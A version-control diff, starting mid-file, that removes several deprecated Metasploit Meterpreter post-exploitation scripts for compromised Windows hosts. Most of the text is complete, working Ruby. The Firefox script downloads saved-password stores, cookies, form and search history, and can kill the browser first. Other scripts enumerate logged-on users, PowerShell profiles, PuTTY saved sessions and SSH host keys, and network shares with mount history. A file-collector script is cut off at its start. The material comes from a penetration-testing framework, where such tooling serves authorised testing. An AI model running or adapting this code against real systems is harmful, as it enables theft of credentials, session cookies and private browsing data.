client.core.migrate(@old_pid)
|
||||
print_status("done.")
|
||||
end
|
||||
|
||||
raise Rex::Script::Completed
|
|
@ -1,292 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
require 'sqlite3'
|
||||
@client = client
|
||||
kill_frfx = false
|
||||
host,port = session.session_host, session.session_port
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )
|
||||
|
||||
# logfile name
|
||||
logfile = @logs + "/" + host + filenameinfo + ".txt"
|
||||
notusrs = [
|
||||
"Default",
|
||||
"Default User",
|
||||
"Public",
|
||||
"LocalService",
|
||||
"NetworkService",
|
||||
"All Users"
|
||||
]
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for getting Firefox SQLite DB's
|
||||
def frfxplacesget(path,usrnm)
|
||||
# Create the log
|
||||
::FileUtils.mkdir_p(@logs)
|
||||
@client.fs.dir.foreach(path) {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
if @client.fs.file.stat(fullpath).directory?
|
||||
frfxplacesget(fullpath,usrnm)
|
||||
elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i
|
||||
dst = x
|
||||
dst = @logs + ::File::Separator + usrnm + dst
|
||||
print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")
|
||||
@client.fs.file.download_file(dst, fullpath)
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for processing the Firefox sqlite DB's
|
||||
def frfxdmp(usrnm)
|
||||
sitesvisited = []
|
||||
dnldsmade = []
|
||||
bkmrks = []
|
||||
cookies = []
|
||||
formvals = ''
|
||||
searches = ''
|
||||
results = ''
|
||||
placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"
|
||||
formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"
|
||||
searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"
|
||||
cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"
|
||||
bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"
|
||||
download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"
|
||||
url_history = @logs + ::File::Separator + usrnm + "_history.txt"
|
||||
form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"
|
||||
search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"
|
||||
begin
|
||||
print_status("\tGetting Firefox Bookmarks for #{usrnm}")
|
||||
db = SQLite3::Database.new(placesdb)
|
||||
#print_status("\tProcessing #{placesdb}")
|
||||
|
||||
db.execute('select a.url from moz_places a, moz_bookmarks b, '+
|
||||
'moz_bookmarks_roots c where a.id=b.fk and parent=2'+
|
||||
' and folder_id=2 and a.hidden=0') do |row|
|
||||
bkmrks << row
|
||||
end
|
||||
print_status("\tSaving to #{bookmarks}")
|
||||
if bkmrks.length != 0
|
||||
bkmrks.each do |b|
|
||||
file_local_write(bookmarks,"\t#{b.to_s}\n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that there are no bookmarks for this account")
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")
|
||||
db.execute('SELECT url FROM moz_places, moz_historyvisits ' +
|
||||
'WHERE moz_places.id = moz_historyvisits.place_id '+
|
||||
'AND visit_type = "7" ORDER by visit_date') do |row|
|
||||
dnldsmade << row
|
||||
end
|
||||
print_status("\tSaving Download list to #{download_list}")
|
||||
if dnldsmade.length != 0
|
||||
dnldsmade.each do |d|
|
||||
file_local_write(download_list,"\t#{d.to_s} \n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that downloads where cleared for this account")
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting Firefox URL History for #{usrnm}")
|
||||
db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +
|
||||
'WHERE moz_places.id = moz_historyvisits.place_id ' +
|
||||
'AND visit_type = "1" ORDER by visit_date' ) do |row|
|
||||
sitesvisited << row
|
||||
end
|
||||
print_status("\tSaving URL History to #{url_history}")
|
||||
if sitesvisited.length != 0
|
||||
sitesvisited.each do |s|
|
||||
file_local_write(url_history,"\t#{s.to_s}\n")
|
||||
end
|
||||
else
|
||||
print_status("\tIt appears that Browser History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
#--------------------------------------------------------------------------
|
||||
begin
|
||||
print_status("\tGetting Firefox Form History for #{usrnm}")
|
||||
db = SQLite3::Database.new(formdb)
|
||||
#print_status("\tProcessing #{formdb}")
|
||||
db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|
|
||||
formvals << "\tField: #{row[0]} Value: #{row[1]}\n"
|
||||
end
|
||||
print_status("\tSaving Firefox Form History to #{form_history}")
|
||||
if formvals.length != 0
|
||||
file_local_write(form_history,formvals)
|
||||
else
|
||||
print_status("\tIt appears that Form History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("\tGetting Firefox Search History for #{usrnm}")
|
||||
db = SQLite3::Database.new(searchdb)
|
||||
#print_status("\tProcessing #{searchdb}")
|
||||
db.execute("SELECT name,value FROM engine_data") do |row|
|
||||
searches << "\tField: #{row[0]} Value: #{row[1]}\n"
|
||||
end
|
||||
print_status("\tSaving Firefox Search History to #{search_history}")
|
||||
if searches.length != 0
|
||||
file_local_write(search_history,searches)
|
||||
else
|
||||
print_status("\tIt appears that Search History has been cleared")
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
# Create Directory for dumping Firefox cookies
|
||||
ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")
|
||||
::FileUtils.mkdir_p(ckfldr)
|
||||
db = SQLite3::Database.new(cookiesdb)
|
||||
db.results_as_hash = true
|
||||
print_status("\tGetting Firefox Cookies for #{usrnm}")
|
||||
db.execute("SELECT * FROM moz_cookies;" ) do |item|
|
||||
fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")
|
||||
fd.puts "Name: " + item['name'] + "\n"
|
||||
fd.puts "Value: " + item['value'].to_s + "\n"
|
||||
fd.puts "Host: " + item['host'] + "\n"
|
||||
fd.puts "Path: " + item['path'] + "\n"
|
||||
fd.puts "Expiry: " + item['expiry'].to_s + "\n"
|
||||
fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"
|
||||
fd.puts "isSecure: " + item['isSecure'].to_s + "\n"
|
||||
fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"
|
||||
fd.close
|
||||
end
|
||||
return results
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for getting password files
|
||||
def frfxpswd(path,usrnm)
|
||||
@client.fs.dir.foreach(path) {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
|
||||
if @client.fs.file.stat(fullpath).directory?
|
||||
frfxpswd(fullpath,usrnm)
|
||||
elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
|
||||
begin
|
||||
dst = x
|
||||
dst = @logs + ::File::Separator + usrnm + dst
|
||||
print_status("\tDownloading Firefox Password file to '#{dst}'")
|
||||
@client.fs.file.download_file(dst, fullpath)
|
||||
rescue
|
||||
print_error("\t******Failed to download file #{x}******")
|
||||
print_error("\t******Browser could be running******")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Function for checking if Firefox is installed
|
||||
def frfxchk
|
||||
found = false
|
||||
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|
|
||||
if a =~ /Firefox/
|
||||
print_status("Firefox was found on this system.")
|
||||
found = true
|
||||
end
|
||||
end
|
||||
return found
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function for executing all pilfering actions for Firefox
|
||||
def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)
|
||||
print_status("Getting Firefox information for user #{usrnm}")
|
||||
frfxplacesget(frfoxdbloc,usrnm)
|
||||
frfxpswd(frfoxdbloc,usrnm)
|
||||
file_local_write(logfile,frfxdmp(usrnm))
|
||||
end
|
||||
|
||||
# Function to kill Firefox if open
|
||||
def kill_firefox
|
||||
print_status("Killing the Firefox Process if open...")
|
||||
@client.sys.process.get_processes().each do |x|
|
||||
if x['name'].downcase == "firefox.exe"
|
||||
print_status("\tFirefox Process found #{x['name']} #{x['pid']}")
|
||||
print_status("\tKilling process .....")
|
||||
session.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
||||
end
|
||||
####################### Options ###########################
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]
|
||||
|
||||
)
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting Firefox Browser."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-k"
|
||||
kill_frfx = true
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if frfxchk
|
||||
user = @client.sys.config.getuid
|
||||
if not is_system?
|
||||
envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
|
||||
usrname = envs['USERNAME']
|
||||
db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
|
||||
if kill_frfx
|
||||
kill_firefox
|
||||
end
|
||||
print_status("Extracting Firefox data for user #{usrname}")
|
||||
frfxpswd(db_path,usrname)
|
||||
frfxplacesget(db_path,usrname)
|
||||
frfxdmp(usrname)
|
||||
else
|
||||
registry_enumkeys("HKU").each do |sid|
|
||||
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/
|
||||
key_base = "HKU\\#{sid}"
|
||||
usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))
|
||||
db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"
|
||||
if kill_frfx
|
||||
kill_firefox
|
||||
end
|
||||
print_status("Extracting Firefox data for user #{usrname}")
|
||||
frfxpswd(db_path,usrname)
|
||||
frfxplacesget(db_path,usrname)
|
||||
frfxdmp(usrname)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,101 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
@client = client
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
######################## Functions ########################
|
||||
def ls_logged
|
||||
sids = []
|
||||
sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Logged Users",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"Profile Path"
|
||||
])
|
||||
sids.flatten.each do |sid|
|
||||
profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath")
|
||||
tbl << [sid,profile_path]
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
|
||||
def ls_current
|
||||
key_base, username = "",""
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Current Logged Users",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"SID",
|
||||
"User"
|
||||
])
|
||||
registry_enumkeys("HKU").each do |sid|
|
||||
case sid
|
||||
when "S-1-5-18"
|
||||
username = "SYSTEM"
|
||||
tbl << [sid,username]
|
||||
when "S-1-5-19"
|
||||
username = "Local Service"
|
||||
tbl << [sid,username]
|
||||
when "S-1-5-20"
|
||||
username = "Network Service"
|
||||
tbl << [sid,username]
|
||||
else
|
||||
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
|
||||
key_base = "HKU\\#{sid}"
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA")
|
||||
username = ''
|
||||
if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/
|
||||
username = $1
|
||||
end
|
||||
end
|
||||
tbl << [sid,username]
|
||||
end
|
||||
end
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
####################### Options ###########################
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-l" => [ false, "List SID's of users who have loged in to the host." ],
|
||||
"-c" => [ false, "List SID's of currently loged on users." ]
|
||||
)
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-l"
|
||||
ls_logged
|
||||
when "-c"
|
||||
ls_current
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if args.length == 0
|
||||
print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system."
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,132 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#Meterpreter script for enumerating Microsoft Powershell settings.
|
||||
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
||||
@client = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations")
|
||||
print_line("USAGE: run enum_scripting_env")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
#Support Functions
|
||||
#-------------------------------------------------------------------------------
|
||||
def enum_users
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
users = []
|
||||
user = @client.sys.config.getuid
|
||||
path4users = ""
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
path4users = sysdrv + "\\Users\\"
|
||||
profilepath = "\\Documents\\WindowsPowerShell\\"
|
||||
else
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
profilepath = "\\My Documents\\WindowsPowerShell\\"
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
@client.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
userinfo['username'] = u
|
||||
userinfo['userappdata'] = path4users + u + profilepath
|
||||
users << userinfo
|
||||
end
|
||||
else
|
||||
userinfo = {}
|
||||
uservar = @client.sys.config.getenv('USERNAME')
|
||||
userinfo['username'] = uservar
|
||||
userinfo['userappdata'] = path4users + uservar + profilepath
|
||||
users << userinfo
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
def enum_powershell
|
||||
#Check if PowerShell is Installed
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
||||
print_status("Powershell is Installed on this system.")
|
||||
powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion")
|
||||
print_status("Version: #{powershell_version}")
|
||||
#Get PowerShell Execution Policy
|
||||
begin
|
||||
powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy")
|
||||
rescue
|
||||
powershell_policy = "Restricted"
|
||||
end
|
||||
print_status("Execution Policy: #{powershell_policy}")
|
||||
powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path")
|
||||
print_status("Path: #{powershell_path}")
|
||||
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
|
||||
print_status("Powershell Snap-Ins:")
|
||||
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
|
||||
print_status("\tSnap-In: #{si}")
|
||||
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
|
||||
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status("No PowerShell Snap-Ins are installed")
|
||||
|
||||
end
|
||||
if powershell_version =~ /2./
|
||||
print_status("Powershell Modules:")
|
||||
powershell_module_path = @client.sys.config.getenv('PSModulePath')
|
||||
@client.fs.dir.foreach(powershell_module_path) do |m|
|
||||
next if m =~ /^(\.|\.\.)$/
|
||||
print_status("\t#{m}")
|
||||
end
|
||||
end
|
||||
tmpout = []
|
||||
print_status("Checking if users have Powershell profiles")
|
||||
enum_users.each do |u|
|
||||
print_status("Checking #{u['username']}")
|
||||
begin
|
||||
@client.fs.dir.foreach(u["userappdata"]) do |p|
|
||||
next if p =~ /^(\.|\.\.)$/
|
||||
if p =~ /Microsoft.PowerShell_profile.ps1/
|
||||
ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
|
||||
until ps_profile.eof?
|
||||
tmpout << ps_profile.read
|
||||
end
|
||||
ps_profile.close
|
||||
if tmpout.length == 1
|
||||
print_status("Profile for #{u["username"]} not empty, it contains:")
|
||||
tmpout.each do |l|
|
||||
print_status("\t#{l.strip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
enum_powershell
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,104 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for enumerating putty connections
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
||||
#
|
||||
@client = client
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for enumerating Putty Configuration."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
def hkcu_base
|
||||
key_base = []
|
||||
|
||||
if not is_system?
|
||||
key_base << "HKCU"
|
||||
else
|
||||
key = "HKU\\"
|
||||
root_key, base_key = @client.sys.registry.splitkey(key)
|
||||
open_key = @client.sys.registry.open_key(root_key, base_key)
|
||||
keys = open_key.enum_key
|
||||
keys.each do |k|
|
||||
if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
|
||||
key_base << "HKU\\#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
return key_base
|
||||
end
|
||||
def check_putty(reg_key_base)
|
||||
installed = false
|
||||
app_list = []
|
||||
app_list = registry_enumkeys("#{reg_key_base}\\Software")
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME")
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA")
|
||||
username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/)
|
||||
end
|
||||
if app_list.index("SimonTatham")
|
||||
print_status("Putty Installed for #{username_profile}")
|
||||
installed = true
|
||||
end
|
||||
return installed
|
||||
end
|
||||
|
||||
def enum_known_ssh_hosts(reg_key_base)
|
||||
print_status("Saved SSH Server Public Keys:")
|
||||
registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host|
|
||||
print_status("\t#{host}")
|
||||
end
|
||||
end
|
||||
|
||||
def enum_saved_sessions(reg_key_base)
|
||||
saved_sessions = []
|
||||
sessions_protocol = ""
|
||||
sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions"
|
||||
saved_sessions = registry_enumkeys(sessions_key)
|
||||
if saved_sessions.length > 0
|
||||
saved_sessions.each do |saved_session|
|
||||
print_status("Session #{saved_session}:")
|
||||
sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol")
|
||||
if sessions_protocol =~ /ssh/
|
||||
print_status("\tProtocol: SSH")
|
||||
print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}")
|
||||
print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}")
|
||||
print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}")
|
||||
elsif sessions_protocol =~ /serial/
|
||||
print_status("\tProtocol: Serial")
|
||||
print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}")
|
||||
print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}")
|
||||
print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}")
|
||||
print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
hkcu_base.each do |hkb|
|
||||
if check_putty(hkb)
|
||||
enum_known_ssh_hosts(hkb)
|
||||
enum_saved_sessions(hkb)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,124 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares,"
|
||||
print_line "History of UNC Paths entered in Run Dialog."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Function for enumerating recent mapped drives on target machine
|
||||
def enum_recent_mounts(base_key)
|
||||
recent_mounts = []
|
||||
partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer'
|
||||
full_path = "#{partial_path}\\Map Network Drive MRU"
|
||||
explorer_keys = registry_enumkeys(partial_path)
|
||||
if explorer_keys.include?("Map Network Drive MRU")
|
||||
registry_enumvals(full_path).each do |k|
|
||||
if not k =~ /MRUList/
|
||||
recent_mounts << registry_getvaldata(full_path,k)
|
||||
end
|
||||
end
|
||||
end
|
||||
return recent_mounts
|
||||
end
|
||||
|
||||
# Function for enumerating UNC Paths entered in run dialog box
|
||||
def enum_run_unc(base_key)
|
||||
unc_paths = []
|
||||
full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU'
|
||||
registry_enumvals(full_path).each do |k|
|
||||
if k =~ /./
|
||||
run_entrie = registry_getvaldata(full_path,k)
|
||||
unc_paths << run_entrie if run_entrie =~ /^\\\\/
|
||||
end
|
||||
end
|
||||
return unc_paths
|
||||
end
|
||||
|
||||
def enum_conf_shares()
|
||||
target_os = client.sys.config.sysinfo['OS']
|
||||
if target_os =~ /Windows 7|Vista|2008/
|
||||
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares'
|
||||
else
|
||||
shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares'
|
||||
end
|
||||
shares = registry_enumvals(shares_key)
|
||||
if shares.length > 0
|
||||
print_status()
|
||||
print_status("The following shares where found:")
|
||||
shares.each do |s|
|
||||
share_info = registry_getvaldata(shares_key,s).split("\000")
|
||||
print_status("\tName: #{s}")
|
||||
share_info.each do |e|
|
||||
name,val = e.split("=")
|
||||
print_status("\t#{name}: #{val}") if name =~ /Path|Type/
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if client.platform =~ /win32|64/
|
||||
# Variables to hold info
|
||||
mount_history = []
|
||||
run_history = []
|
||||
|
||||
# Enumerate shares being offered
|
||||
enum_conf_shares()
|
||||
|
||||
if not is_system?
|
||||
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
|
||||
run_history = enum_run_unc("HKEY_CURRENT_USER")
|
||||
else
|
||||
user_sid = []
|
||||
key = "HKU\\"
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
open_key = client.sys.registry.open_key(root_key, base_key)
|
||||
keys = open_key.enum_key
|
||||
keys.each do |k|
|
||||
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
|
||||
end
|
||||
user_sid.each do |us|
|
||||
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}")
|
||||
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}")
|
||||
end
|
||||
end
|
||||
|
||||
# Enumerate Mount History
|
||||
if mount_history.length > 0
|
||||
print_status("Recent Mounts found:")
|
||||
mount_history.each do |i|
|
||||
print_status("\t#{i}")
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
|
||||
#Enumerate UNC Paths entered in the Dialog box
|
||||
if run_history.length > 0
|
||||
print_status("Recent UNC paths entered in Run Dialog found:")
|
||||
run_history.each do |i|
|
||||
print_status("\t#{i}")
|
||||
end
|
||||
print_status()
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,87 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
@client = client
|
||||
location = nil
|
||||
search_blob = []
|
||||
input_file = nil
|
||||
output_file = nil
|
||||
recurse = false
|
||||
logs = nil
|
||||
@opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [false, "Help menu." ],
|
||||
"-i" => [true, "Input file with list of files to download, one per line."],
|
||||
"-d" => [true, "Directory to start search on, search will be recursive."],
|
||||
"-f" => [true, "Search blobs separated by a |."],
|
||||
